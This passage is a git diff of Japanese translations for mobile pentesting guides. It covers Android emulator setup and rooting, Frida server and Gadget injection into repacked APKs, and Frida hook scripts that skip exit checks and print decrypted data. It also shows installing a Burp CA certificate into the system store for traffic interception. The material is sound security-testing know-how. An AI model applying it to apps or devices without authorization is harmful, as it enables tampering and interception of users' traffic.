\AppData\Local\Android\Sdk\tools`
-mac では、**SDK tools をダウンロード**して、次のコマンドで PATH に追加できます:
+macでは、**SDK toolsをダウンロード**してPATHに入れることができます。実行:
```bash
brew tap homebrew/cask
brew install --cask android-sdk
```
-または **Android Studio GUI** から([https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a](https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a) に示されているように)これにより `~/Library/Android/sdk/cmdline-tools/latest/bin/` と `~/Library/Android/sdk/platform-tools/` と `~/Library/Android/sdk/emulator/` にインストールされます
+または **Android Studio GUI** から([https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a](https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a) に示されているように)インストールすることもでき、これにより `~/Library/Android/sdk/cmdline-tools/latest/bin/` と `~/Library/Android/sdk/platform-tools/` と `~/Library/Android/sdk/emulator/` にインストールされます。
-Java の問題については:
+Javaの問題については:
```java
export JAVA_HOME=/Applications/Android\ Studio.app/Contents/jbr/Contents/Home
```
## GUI
-### Prepare Virtual Machine
+### 仮想マシンを準備する
-Android Studioをインストールしている場合、メインのプロジェクトビューを開き、次を選択できます: _**Tools**_ --> _**AVD Manager.**_
+If you installed Android Studio, you can just open the main project view and access: _**Tools**_ --> _**AVD Manager.**_
@@ -36,36 +36,38 @@ Android Studioをインストールしている場合、メインのプロジェ
-次に、_**Create Virtual Device**_ をクリックします
+Then, click on _**Create Virtual Device**_
-_**select**_ したい端末を選び、_**Next.**_ をクリックします。
+_**使用する電話を選択**_ して、_**Next.**_ をクリックします。
> [!WARNING]
-> Play Storeがインストールされた端末が必要な場合は、Play Storeアイコンが付いているものを選択してください!
+> Play Store がインストールされた端末が必要な場合は、Play Store アイコンが付いたものを選んでください!
>
>
-現在のビューでは、端末が実行するAndroidイメージを**選択してダウンロード**できます:
+In the current view you are going to be able to **select and download the Android image** that the phone is going to run:
-それを選択し、まだダウンロードされていない場合は名前の横にある_**Download**_シンボルをクリックしてください(イメージのダウンロードが完了するまで待ちます)。**`Next`** と **`Finish`** を選択してください。\
-イメージがダウンロードされると仮想マシンが作成されます。以後、AVD managerにアクセスするたびにその仮想マシンが表示されます。
+選択して、まだダウンロードされていない場合は名前の横にある _**Download**_ アイコンをクリックしてください(**イメージのダウンロードが完了するまで待ちます**)。\
+イメージがダウンロードされたら、**`Next`** と **`Finish`** を選択します。
-### Run Virtual Machine
+仮想マシンが作成されます。以後、AVD manager にアクセスするたびに **その仮想マシンが表示されます**。
-実行するには、_**Start button**_ を押します。
+### 仮想マシンを起動する
+
+起動するには、_**Start button**_ を押すだけです。
.png>)
-## Command Line tool
+## コマンドラインツール
> [!WARNING]
-> macOSでは、`avdmanager` ツールは `/Users//Library/Android/sdk/tools/bin/avdmanager` に、`emulator` は `/Users//Library/Android/sdk/emulator/emulator` にあります(インストールされている場合)。
+> macOS では、`avdmanager` ツールは `/Users//Library/Android/sdk/tools/bin/avdmanager` に、`emulator` は `/Users//Library/Android/sdk/emulator/emulator` にあります(インストールされている場合)。
-まず、どの端末を使うか**決める必要があります**。使用可能な端末の一覧を表示するには、次を実行してください:
+まず **どの端末を使うかを決める** 必要があります。利用可能な端末の一覧を表示するには、次を実行してください:
```
C:\Users\\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat list device
@@ -93,16 +95,16 @@ Name: Nexus 10
OEM : Google
[...]
```
-使用するデバイスの名前を決めたら、次に**そのデバイスで実行する Android イメージを決める必要があります。**\
+使用するデバイスの名前を決めたら、**そのデバイスで実行する Android イメージを決める必要があります。**\
すべてのオプションは `sdkmanager` を使って一覧表示できます:
```bash
C:\Users\\AppData\Local\Android\Sdk\tools\bin\sdkmanager.bat --list
```
-そして、使用したいもの(またはすべて)を**ダウンロード**するには、次のコマンドを使用してください:
+そして、使用したいもの(またはすべて)を次のコマンドで **download** してください:
```bash
C:\Users\\AppData\Local\Android\Sdk\tools\bin\sdkmanager.bat "platforms;android-28" "system-images;android-28;google_apis;x86_64"
```
-使用したい Android image をダウンロードしたら、次のコマンドで **ダウンロード済みの Android images をすべて一覧表示** できます:
+使用したい Android イメージをダウンロードしたら、次のようにして**ダウンロードしたすべての Android イメージを一覧表示**できます:
```
C:\Users\\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat list target
----------
@@ -118,12 +120,12 @@ Type: Platform
API level: 29
Revision: 4
```
-この時点で、使用するデバイスを決め、Androidイメージをダウンロードしているので、**仮想マシンを作成するには次の方法を使用できます**:
+この時点で使用するデバイスを決め、Androidイメージをダウンロードしているので、**仮想マシンを作成するには以下を使用できます**:
```bash
C:\Users\\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat -v create avd -k "system-images;android-28;google_apis;x86_64" -n "AVD9" -d "Nexus 5X"
```
-前のコマンドで、**AVD9という名前のVMを作成しました**(**デバイス** "_Nexus 5X_" と **Androidイメージ** "_system-images;android-28;google_apis;x86_64_" を使用)。\
-作成した**仮想マシンを一覧表示**するには:
+直前のコマンドで **名前を付けたVMを作成しました** "_AVD9_"、**デバイス** "_Nexus 5X_" と **Androidイメージ** "_system-images;android-28;google_apis;x86_64_" を使用しました。\
+これで、作成した**仮想マシンを一覧表示**できます:
```bash
C:\Users\\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat list avd
@@ -141,15 +143,15 @@ Error: Google pixel_2 no longer exists as a device
### 仮想マシンの起動
> [!WARNING]
-> For macOS you can find the `avdmanager` tool in `/Users//Library/Android/sdk/tools/bin/avdmanager` and the `emulator` in `/Users//Library/Android/sdk/emulator/emulator` if you have them installed.
+> macOSでは、`avdmanager` ツールは `/Users//Library/Android/sdk/tools/bin/avdmanager` に、`emulator` は `/Users//Library/Android/sdk/emulator/emulator` にあります(インストールしている場合)。
-既に作成した仮想マシンを一覧表示する方法は見ましたが、**以下の方法でも一覧表示できます**:
+作成した仮想マシンを一覧表示する方法はすでに見ましたが、**次の方法でも一覧表示できます**:
```bash
C:\Users\\AppData\Local\Android\Sdk\tools\emulator.exe -list-avds
AVD9
Pixel_2_API_27
```
-次のコマンドを使って、**作成した任意の仮想マシンを実行**できます:
+次のコマンドを使って、作成した任意の**virtual machine**を簡単に起動できます:
```bash
C:\Users\\AppData\Local\Android\Sdk\tools\emulator.exe -avd "VirtualMachineName"
C:\Users\\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9"
@@ -158,35 +160,35 @@ C:\Users\\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9"
```bash
C:\Users\\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" -http-proxy 192.168.1.12:8080 -writable-system
```
-### Command line options
+### コマンドラインオプション
-しかし、仮想マシンを起動するために使える**多数の便利なコマンドラインオプション**が存在します。以下にいくつかの興味深いオプションを示しますが、[**find a complete list here**](https://developer.android.com/studio/run/emulator-commandline)
+ただし、仮想マシンを起動する際に使える **多くの有用なコマンドラインオプション** が存在します。以下はいくつかの興味深いオプションですが、[**find a complete list here**](https://developer.android.com/studio/run/emulator-commandline)
**起動**
-- `-snapshot name` : Start VM snapshot
-- `-snapshot-list -snapstorage ~/.android/avd/Nexus_5X_API_23.avd/snapshots-test.img` : 記録されているすべてのスナップショットを一覧表示します
+- `-snapshot name` : VM スナップショットを開始する
+- `-snapshot-list -snapstorage ~/.android/avd/Nexus_5X_API_23.avd/snapshots-test.img` : 記録されたすべてのスナップショットを一覧表示する
**ネットワーク**
-- `-dns-server 192.0.2.0, 192.0.2.255` : VMにカンマ区切りでDNSサーバを指定できます。
-- **`-http-proxy 192.168.1.12:8080`** : 使用するHTTPプロキシを指定できます(Burpでトラフィックをキャプチャするのに非常に便利)
-- プロキシ設定が何らかの理由で動作しない場合は、内部で設定するか "Super Proxy" や "ProxyDroid" のようなアプリを使って設定してみてください。
-- `-netdelay 200` : ネットワーク遅延のエミュレーションをミリ秒単位で設定します。
-- `-port 5556` : コンソールと adb に使用される TCP ポート番号を設定します。
-- `-ports 5556,5559` : コンソールと adb に使用される TCP ポートを設定します。
-- **`-tcpdump /path/dumpfile.cap`** : すべてのトラフィックをファイルにキャプチャします
+- `-dns-server 192.0.2.0, 192.0.2.255` : VM にカンマ区切りで DNS サーバを指定する
+- **`-http-proxy 192.168.1.12:8080`** : 使用する HTTP プロキシを指定する(Burp を使ってトラフィックをキャプチャする際に非常に便利)
+- プロキシ設定が何らかの理由で動作しない場合は、内部で設定するか "Super Proxy" や "ProxyDroid" のようなアプリケーションを使って構成してみてください。
+- `-netdelay 200` : ネットワーク遅延のエミュレーションをミリ秒単位で設定する
+- `-port 5556` : console と adb に使用される TCP ポート番号を設定する
+- `-ports 5556,5559` : console と adb に使用される TCP ポートを設定する
+- **`-tcpdump /path/dumpfile.cap`** : すべてのトラフィックをファイルにキャプチャする
**システム**
-- `-selinux {disabled|permissive}` : Security-Enhanced Linux セキュリティモジュールを disabled または permissive モードに設定します。
-- `-timezone Europe/Paris` : 仮想デバイスのタイムゾーンを設定します
-- `-screen {touch(default)|multi-touch|o-touch}` : エミュレートされたタッチスクリーンモードを設定します。
-- **`-writable-system`** : このオプションを使用すると、エミュレーションセッション中にシステムイメージを読み書き可能にできます。`adb root; adb remount` の実行も必要です。システムに新しい証明書をインストールするのに非常に便利です。
+- `-selinux {disabled|permissive}` : Linux オペレーティングシステム上で Security-Enhanced Linux セキュリティモジュールを disabled または permissive モードに設定する
+- `-timezone Europe/Paris` : 仮想デバイスのタイムゾーンを設定する
+- `-screen {touch(default)|multi-touch|o-touch}` : エミュレートされたタッチスクリーンのモードを設定する
+- **`-writable-system`** : エミュレーションセッション中にシステムイメージを writable にするオプションです。`adb root; adb remount` の実行も必要になります。システムに新しい証明書をインストールするのに非常に便利です。
-## Linux CLI のセットアップ (SDK/AVD quickstart)
+## Linux CLI セットアップ (SDK/AVD quickstart)
-公式のCLIツールを使うと、Android Studio を使わずに高速でデバッグ可能なエミュレータを簡単に作成できます。
+公式の CLI ツールを使えば、Android Studio を使わずに高速でデバッグ可能なエミュレータを簡単に作成できます。
```bash
# Directory layout
mkdir -p ~/Android/cmdline-tools/latest
@@ -215,11 +217,11 @@ adb root
adb shell whoami # expect: root
```
メモ
-- システムイメージのフレーバー: google_apis (debuggable、adb rootを許可), google_apis_playstore (not rootable), aosp/default (lightweight).
-- ビルドタイプ: userdebug はデバッグ対応イメージで `adb root` を許可することが多い。Play Store images はプロダクションビルドで root をブロックする。
-- x86_64 ホストでは、API 28+ 以降で full-system ARM64 エミュレーションはサポートされない。Android 11+ では、per-app ARM-to-x86 translation を含む Google APIs/Play images を使用すると、多くの ARM-only アプリを高速に実行できる。
+- システムイメージのフレーバー: google_apis (デバッグ可能、adb root を許可), google_apis_playstore (root化不可), aosp/default (軽量).
+- ビルドタイプ: userdebug はデバッグ対応のイメージで `adb root` を許可することが多い。Play Store イメージはプロダクションビルドで root をブロックする。
+- x86_64 ホストでは、API 28+ 以降でフルシステムの ARM64 エミュレーションはサポートされない。Android 11+ では、多くの ARM 専用アプリを高速に実行するために、アプリ単位の ARM→x86 翻訳を含む Google APIs/Play images を使用する。
-### CLIからのスナップショット
+### CLI からのスナップショット
```bash
# Save a clean snapshot from the running emulator
adb -s emulator-5554 emu avd snapshot save my_clean_setup
@@ -227,25 +229,24 @@ adb -s emulator-5554 emu avd snapshot save my_clean_setup
# Boot from a named snapshot (if it exists)
emulator -avd PixelRootX86 -writable-system -snapshot my_clean_setup
```
-## ARM→x86 バイナリ変換 (Android 11+)
+## ARM→x86 バイナリ翻訳 (Android 11+)
-Android 11+ 上の Google APIs および Play Store images は、システムの他の部分をネイティブの x86/x86_64 のままに保ちながら、プロセスごとに ARM アプリのバイナリを変換できます。これはデスクトップで多くの ARM 専用アプリをテストするのに十分高速であることが多いです。
+Android 11+ の Google APIs と Play Store イメージは、システムの残りをネイティブな x86/x86_64 のままに保ちながら、プロセスごとに ARM アプリのバイナリを翻訳できます。これは、多くの ARM 専用アプリをデスクトップでテストするのに十分高速であることがよくあります。
-> ヒント: pentests 中は Google APIs x86/x86_64 images を優先してください。Play images は便利ですが `adb root` をブロックします。Play services が特に必要で、root が無いことを受け入れる場合にのみ使用してください。
+> ヒント: Pentests 中は Google APIs x86/x86_64 イメージを優先してください。Play イメージは便利ですが `adb root` をブロックします; Play services がどうしても必要で root がないことを受け入れる場合のみ使用してください。
-## Rooting a Play Store device
+## Play Store デバイスを root する
-Play Store を含むデバイスをダウンロードした場合、直接 root を取得することはできず、次のエラーメッセージが表示されます
+Play Store を搭載したデバイスをダウンロードした場合、直接 root を取得することはできず、次のエラーメッセージが表示されます。
```
$ adb root
adbd cannot run as root in production builds
```
-[rootAVD](https://github.com/newbit1/rootAVD) と [Magisk](https://github.com/topjohnwu/Magisk) を使用して root 化できました(例えば [**this video**](https://www.youtube.com/watch?v=Wk0ixxmkzAI) **or** [**this one**](https://www.youtube.com/watch?v=qQicUW0svB8) を参照してください)。
+Using [rootAVD](https://github.com/newbit1/rootAVD) with [Magisk](https://github.com/topjohnwu/Magisk) を使用して root化できました (follow for example [**this video**](https://www.youtube.com/watch?v=Wk0ixxmkzAI) **or** [**this one**](https://www.youtube.com/watch?v=qQicUW0svB8)).
-## Burp Certificate のインストール
-
-カスタム CA 証明書のインストール方法は、次のページを確認してください:
+## Burp 証明書のインストール
+カスタム CA 証明書のインストール方法については、以下のページを確認してください:
{{#ref}}
install-burp-certificate.md
@@ -255,11 +256,11 @@ install-burp-certificate.md
### スナップショットを取得
-いつでも **GUI を使用して** VM のスナップショットを取得できます:
+VM のスナップショットはいつでも **GUI を使って** 取得できます:
.png>)
-## 参考
+## 参考資料
- [Build a Repeatable Android Bug Bounty Lab: Emulator vs Magisk, Burp, Frida, and Medusa](https://www.yeswehack.com/learn-bug-bounty/android-lab-mobile-hacking-tools)
- [Android Emulator command line](https://developer.android.com/studio/run/emulator-commandline)
diff --git a/src/mobile-pentesting/android-app-pentesting/frida-tutorial/README.md b/src/mobile-pentesting/android-app-pentesting/frida-tutorial/README.md
index 45419406a..ee9c6695b 100644
--- a/src/mobile-pentesting/android-app-pentesting/frida-tutorial/README.md
+++ b/src/mobile-pentesting/android-app-pentesting/frida-tutorial/README.md
@@ -5,27 +5,27 @@
## インストール
-以下をインストールしてください: **frida tools**
+インストール **frida tools**:
```bash
pip install frida-tools
pip install frida
```
-**ダウンロードしてインストール** を android 上で **frida server** を導入してください ([Download the latest release](https://github.com/frida/frida/releases)).\
-adb を root モードで再起動し、接続し、frida-server をアップロードして exec 権限を付与し、バックグラウンドで実行するワンライナー:
+**ダウンロードしてインストール** Android デバイスに **frida server** をインストールします ([Download the latest release](https://github.com/frida/frida/releases)).\
+adb を root 権限で再起動し、接続して frida-server をアップロードし、実行権限を付与してバックグラウンドで実行するワンライナー:
```bash
adb root; adb connect localhost:6000; sleep 1; adb push frida-server /data/local/tmp/; adb shell "chmod 755 /data/local/tmp/frida-server"; adb shell "/data/local/tmp/frida-server &"
```
-**チェック** それが **動作している**:
+**チェック** それが **動作している**か:
```bash
frida-ps -U #List packages and processes
frida-ps -U | grep -i #Get all the package name
```
## Frida server vs. Gadget (root vs. no-root)
-FridaでAndroidアプリを扱う一般的な方法は2つあります:
+Fridaを使ってAndroidアプリをインストルメント(操作)する一般的な2つの方法:
-- Frida server (rooted devices): 任意のプロセスにアタッチできるよう、ネイティブのデーモンをプッシュして実行します。
-- Frida Gadget (no root): APK内にFridaをshared libraryとしてバンドルし、ターゲットプロセス内で自動ロードさせます。
+- Frida server (rooted devices): 任意のプロセスにアタッチできるよう、ネイティブなデーモンを転送して実行する。
+- Frida Gadget (no root): Fridaを共有ライブラリとしてAPK内に同梱し、対象プロセス内で自動的にロードする。
Frida server (rooted)
```bash
@@ -42,9 +42,9 @@ frida -U -n com.example.app
```
Frida Gadget (no-root)
-1) APK をアンパックし、gadget の .so と設定を追加します:
-- lib// (例: lib/arm64-v8a/) に libfrida-gadget.so を配置します
-- assets/frida-gadget.config を作成し、スクリプト読み込み設定を記述します
+1) APKを展開し、gadget .so と設定を追加:
+- libfrida-gadget.so を lib// に配置する (例: lib/arm64-v8a/)
+- assets/frida-gadget.config を作成し、スクリプト読み込みの設定を記述する
frida-gadget.config の例
```json
@@ -53,8 +53,8 @@ frida-gadget.config の例
"runtime": { "logFile": "/sdcard/frida-gadget.log" }
}
```
-2) ガジェットを参照/ロードして、早期に初期化されるようにする:
-- 最も簡単: 小さな Java スタブを Application.onCreate() に追加して System.loadLibrary("frida-gadget") を呼び出す、または既に存在するネイティブライブラリのロードを利用する。
+2) ガジェットを参照/ロードして早期に初期化する:
+- 簡単な方法: Application.onCreate() 内で System.loadLibrary("frida-gadget") を呼ぶ小さな Java スタブを追加するか、既にあるネイティブライブラリのロード処理を利用する。
3) APK をリパックして署名し、インストールする:
```bash
@@ -69,9 +69,9 @@ adb install -r out_signed/app_gadget-aligned-debugSigned.apk
frida-ps -Uai
frida -U -n com.example.app
```
-注記
-- Gadget は一部の保護機構により検出されることがあるため、名前/パスはステルス化し、必要に応じて遅延/条件付きでロードしてください。
-- ハード化されたアプリでは、server + late attach を使ったrooted testingを優先するか、Magisk/Zygiskの隠蔽と組み合わせてください。
+注意事項
+- Gadget は一部の保護機構で検出されます。names/paths をステルス化し、必要に応じて遅延または条件付きでロードしてください。
+- ハード化されたアプリでは、server + late attach を用いた rooted testing を優先するか、Magisk/Zygisk hiding と組み合わせてください。
## チュートリアル
@@ -81,25 +81,25 @@ frida -U -n com.example.app
**APK**: [https://github.com/t0thkr1s/frida-demo/releases](https://github.com/t0thkr1s/frida-demo/releases)\
**ソースコード**: [https://github.com/t0thkr1s/frida-demo](https://github.com/t0thkr1s/frida-demo)
-**詳しくは [link to read it](frida-tutorial-1.md) を参照してください。**
+**続きを読むには [link to read it](frida-tutorial-1.md).**
### [Tutorial 2](frida-tutorial-2.md)
**出典**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (Parts 2, 3 & 4)\
**APKs and Source code**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples)
-**詳しくは [ link to read it.](frida-tutorial-2.md) を参照してください。**
+**続きを読むには[ link to read it.](frida-tutorial-2.md)**
### [Tutorial 3](owaspuncrackable-1.md)
**出典**: [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)\
**APK**: [https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level_01/UnCrackable-Level1.apk](https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level_01/UnCrackable-Level1.apk)
-**詳しくは [link to read it](owaspuncrackable-1.md) を参照してください。**
+**続きを読むには [link to read it](owaspuncrackable-1.md).**
-**さらに多くのAwesome Fridaスクリプトはここで見つかります:** [**https://codeshare.frida.re/**](https://codeshare.frida.re)
+**さらに多くの Awesome Frida スクリプトはここで見つけられます:** [**https://codeshare.frida.re/**](https://codeshare.frida.re)
-## クイック例
+## 簡単な例
### コマンドラインからFridaを呼び出す
```bash
@@ -125,7 +125,7 @@ print('[ * ] Running Frida Demo application')
script.load()
sys.stdin.read()
```
-### パラメータなしの関数をフックする
+### 引数のない関数のフック
クラス `sg.vantagepoint.a.c` の関数 `a()` をフックする
```javascript
@@ -137,14 +137,14 @@ return false;
};
});
```
-java の `exit()` を Hook
+java の `exit()` をフックする
```javascript
var sysexit = Java.use("java.lang.System")
sysexit.exit.overload("int").implementation = function (var_0) {
send("java.lang.System.exit(I)V // We avoid exiting the application :)")
}
```
-Hook MainActivity `.onStart()` & `.onCreate()`
+MainActivity の `.onStart()` と `.onCreate()` を Hook する
```javascript
var mainactivity = Java.use("sg.vantagepoint.uncrackable1.MainActivity")
mainactivity.onStart.overload().implementation = function () {
@@ -158,7 +158,7 @@ send("MainActivity.onCreate() HIT!!!")
var ret = this.onCreate.overload("android.os.Bundle").call(this, var_0)
}
```
-Hook android `.onCreate()`
+android の .onCreate() を Hookする
```javascript
var activity = Java.use("android.app.Activity")
activity.onCreate.overload("android.os.Bundle").implementation = function (
@@ -168,9 +168,9 @@ send("Activity HIT!!!")
var ret = this.onCreate.overload("android.os.Bundle").call(this, var_0)
}
```
-### Hooking パラメータ付き関数のフックと値の取得
+### Hooking: パラメータ付き関数のフックと値の取得
-decryption functionをフックします。入力を表示し、元の関数を呼び出して入力をdecryptし、最後にplain dataを表示します:
+decryption function を Hooking します。入力を表示し、オリジナルの関数を呼び出して入力を decrypt し、最後に平文データを表示します:
```javascript
function getString(data) {
var ret = ""
@@ -195,9 +195,9 @@ send("Decrypted flag: " + flag)
return ret //[B
}
```
-### 関数をHookして自分の入力で呼び出す
+### Hooking functions and calling them with our input
-文字列を受け取る関数をHookし、別の文字列で呼び出す (from [here](https://11x256.github.io/Frida-hooking-android-part-2/))
+string を受け取る function を Hook し、別の string で呼び出す(詳細は [here](https://11x256.github.io/Frida-hooking-android-part-2/))
```javascript
var string_class = Java.use("java.lang.String") // get a JS wrapper for java's String class
@@ -210,11 +210,11 @@ console.log("Return value: " + ret)
return ret
}
```
-### 既に作成されたクラスのオブジェクトを取得する方法
+### 既に作成されたクラスのオブジェクトを取得する
-作成済みオブジェクトの属性を抽出したい場合は、これを使用できます。
+作成済みのオブジェクトから属性を取り出したい場合は、これを使用できます。
-この例では、クラス my_activity のオブジェクトを取得し、オブジェクトのプライベート属性を出力する .secret() 関数を呼び出す方法を示します:
+この例では、クラス my_activity のオブジェクトを取得する方法と、オブジェクトのプライベート属性を出力する .secret() 関数を呼び出す方法を示します:
```javascript
Java.choose("com.example.a11x256.frida_test.my_activity", {
onMatch: function (instance) {
@@ -225,16 +225,16 @@ console.log("Result of secret func: " + instance.secret())
onComplete: function () {},
})
```
-## その他の Frida チュートリアル
+## その他のFridaチュートリアル
- [https://github.com/DERE-ad2001/Frida-Labs](https://github.com/DERE-ad2001/Frida-Labs)
-- [Advanced Frida Usage ブログシリーズのパート1: IOS 暗号化ライブラリ](https://8ksec.io/advanced-frida-usage-part-1-ios-encryption-libraries-8ksec-blogs/)
+- [Part 1 of Advanced Frida Usage blog series: IOS Encryption Libraries](https://8ksec.io/advanced-frida-usage-part-1-ios-encryption-libraries-8ksec-blogs/)
-## 参考
+## 参考資料
-- [再現可能な Android Bug Bounty ラボを構築する: Emulator vs Magisk, Burp, Frida, and Medusa](https://www.yeswehack.com/learn-bug-bounty/android-lab-mobile-hacking-tools)
-- [Frida Gadget ドキュメント](https://frida.re/docs/gadget/)
-- [Frida releases(サーバーバイナリ)](https://github.com/frida/frida/releases)
+- [Build a Repeatable Android Bug Bounty Lab: Emulator vs Magisk, Burp, Frida, and Medusa](https://www.yeswehack.com/learn-bug-bounty/android-lab-mobile-hacking-tools)
+- [Frida Gadget documentation](https://frida.re/docs/gadget/)
+- [Frida releases (server binaries)](https://github.com/frida/frida/releases)
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/mobile-pentesting/android-app-pentesting/install-burp-certificate.md b/src/mobile-pentesting/android-app-pentesting/install-burp-certificate.md
index f1d2bcd2b..366d9cd45 100644
--- a/src/mobile-pentesting/android-app-pentesting/install-burp-certificate.md
+++ b/src/mobile-pentesting/android-app-pentesting/install-burp-certificate.md
@@ -1,11 +1,11 @@
-# Burp Certificate のインストール
+# Burp 証明書のインストール
{{#include ../../banners/hacktricks-training.md}}
-## ADB経由のシステム全体プロキシ
+## ADB 経由のシステム全体プロキシ
-全てのアプリがインターセプタ(Burp/mitmproxy)を経由してトラフィックをルーティングするように、グローバルな HTTP プロキシを設定します:
+すべてのアプリがあなたのインターセプター(Burp/mitmproxy)を経由してトラフィックをルーティングするように、グローバルな HTTP プロキシを設定します:
```bash
# Set proxy (device/emulator must reach your host IP)
adb shell settings put global http_proxy 192.168.1.2:8080
@@ -13,20 +13,20 @@ adb shell settings put global http_proxy 192.168.1.2:8080
# Clear proxy
adb shell settings put global http_proxy :0
```
-ヒント: In Burp, bind your listener to 0.0.0.0 so devices on the LAN can connect (Proxy -> Options -> Proxy Listeners).
+Tip: In Burp, bind your listener to 0.0.0.0 so devices on the LAN can connect (Proxy -> Options -> Proxy Listeners).
-## 仮想マシン上で
+## On a Virtual Machine
-まず最初に、Burp から Der 証明書をダウンロードする必要があります。これは _**Proxy**_ --> _**Options**_ --> _**Import / Export CA certificate**_ で行えます。
+まず最初に、BurpからDer証明書をダウンロードする必要があります。これは _**Proxy**_ --> _**Options**_ --> _**Import / Export CA certificate**_ で行えます。
.png>)
-**証明書を Der フォーマットでエクスポートする** そしてそれを **変換**して、**Android** が**理解**できる形式にします。なお、**AVD の Android マシンに Burp 証明書を設定するためには** このマシンを **`-writable-system`** オプションを付けて**実行**する必要があります。\
-例えば次のように実行できます:
+**Export the certificate in Der format** and lets **transform** it to a form that **Android** is going to be able to **understand.** Note that **in order to configure the burp certificate on the Android machine in AVD** you need to **run** this machine **with** the **`-writable-system`** option.\
+例えば、次のように実行できます:
```bash
C:\Users\\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" -http-proxy 192.168.1.12:8080 -writable-system
```
-次に、**burps certificate を設定するには**:
+次に、**burps certificate を設定するには**:
```bash
openssl x509 -inform DER -in burp_cacert.der -out burp_cacert.pem
CERTHASHNAME="`openssl x509 -inform PEM -subject_hash_old -in burp_cacert.pem | head -1`.0"
@@ -37,43 +37,43 @@ adb shell mv /sdcard/$CERTHASHNAME /system/etc/security/cacerts/ #Move to correc
adb shell chmod 644 /system/etc/security/cacerts/$CERTHASHNAME #Assign privileges
adb reboot #Now, reboot the machine
```
-マシンが再起動を完了すると、Burp 証明書が使用されます!
+**マシンが再起動を完了すると** burp 証明書が使用されるようになります!
## Magisc の使用
-もし Magisc でデバイスをルート化している(エミュレータの可能性もあります)、そしてファイルシステムが読み取り専用で remount して書き込み可能にできないために前の手順で Burp 証明書をインストールできない場合、別の方法があります。
+もし **Magiscでデバイスをroot化した**(おそらくエミュレータ)、そして前の **手順** に**従えず**、Burp 証明書をインストールできない(**ファイルシステムが読み取り専用**で書き込み可能にリマウントできない)場合、別の方法があります。
-[**this video**](https://www.youtube.com/watch?v=qQicUW0svB8) で説明されているように、次の操作を行います:
+説明は [**this video**](https://www.youtube.com/watch?v=qQicUW0svB8) にあります。必要な手順は次のとおりです:
-1. **CA 証明書をインストールする**: DER 形式の Burp 証明書の拡張子を `.crt` に変更してモバイルにドラッグ&ドロップし、Downloads フォルダに保存します。次に `Install a certificate` -> `CA certificate` へ移動します。
+1. **Install a CA certificate**: モバイルに DER 形式の Burp 証明書を **changing the extension** して拡張子を `.crt` にし、Downloads フォルダに **drag&drop** で保存してから `Install a certificate` -> `CA certificate` に進みます。
-- `Trusted credentials` -> `USER` に移動して証明書が正しく保存されていることを確認します
+- 証明書が正しく保存されているかは `Trusted credentials` -> `USER` で確認してください
-2. **システムで信頼されるようにする**: Magisc モジュール [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts)(.zip ファイル)をダウンロードし、電話にドラッグ&ドロップします。電話の **Magics app** を開き、**`Modules`** セクションに移動して **`Install from storage`** をクリックし、.zip モジュールを選択してインストール後に電話を **reboot** します:
+2. **Make it System trusted**: Magisc モジュール [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts)(.zip ファイル)をダウンロードし、電話に **drag&drop it** します。電話上の **Magics app** を開き **`Modules`** セクションに移動、**`Install from storage`** をクリックして `.zip` モジュールを選択し、インストールが完了したら端末を **reboot** してください:
-- 再起動後、`Trusted credentials` -> `SYSTEM` に移動して Postswigger 証明書が存在することを確認します
+- 再起動後、`Trusted credentials` -> `SYSTEM` に行き、Postswigger 証明書が存在することを確認します
-### Magisc モジュールの作り方を学ぶ
+### Magisc モジュールの作成方法を学ぶ
-Check [https://medium.com/@justmobilesec/magisk-for-mobile-pentesting-rooting-android-devices-and-building-custom-modules-part-ii-22badc498437](https://medium.com/@justmobilesec/magisk-for-mobile-pentesting-rooting-android-devices-and-building-custom-modules-part-ii-22badc498437)
+次を参照してください: https://medium.com/@justmobilesec/magisk-for-mobile-pentesting-rooting-android-devices-and-building-custom-modules-part-ii-22badc498437
-## Android 14 以降
+## Android 14以降
-最新の Android 14 リリースでは、system-trusted の Certificate Authority (CA) 証明書の扱いに大きな変更がありました。以前はこれらの証明書は **`/system/etc/security/cacerts/`** に保存され、root 権限のあるユーザーがアクセス・変更できたため、システム全体に即時反映されていました。しかし Android 14 では、保存場所が **`/apex/com.android.conscrypt/cacerts`**(**`/apex`** パス内のディレクトリ)に移動されており、これは本質的に不変(immutable)です。
+最新の Android 14 リリースでは、system-trusted Certificate Authority (CA) 証明書の扱いに大きな変化が見られます。従来、これらの証明書は **`/system/etc/security/cacerts/`** に保存され、root 権限を持つユーザーがアクセス・変更できたため、システム全体に即時に反映されていました。しかし Android 14 では格納場所が **`/apex/com.android.conscrypt/cacerts`**(`/apex` パス内のディレクトリ)に移動しており、`/apex` は本質的に不変です。
-APEX の cacerts パスを書き込み可能に remount しようとすると失敗します。システムがそのような操作を許可しないためです。ディレクトリをアンマウントしたり tmpfs でオーバーレイしたりしても不変性を回避できず、ファイルシステムレベルで変更を加えてもアプリケーションは元の証明書データにアクセスし続けます。この耐性は、**`/apex`** マウントが PRIVATE propagation に設定されているためで、**`/apex`** 内での変更が他のプロセスに影響を与えないようになっています。
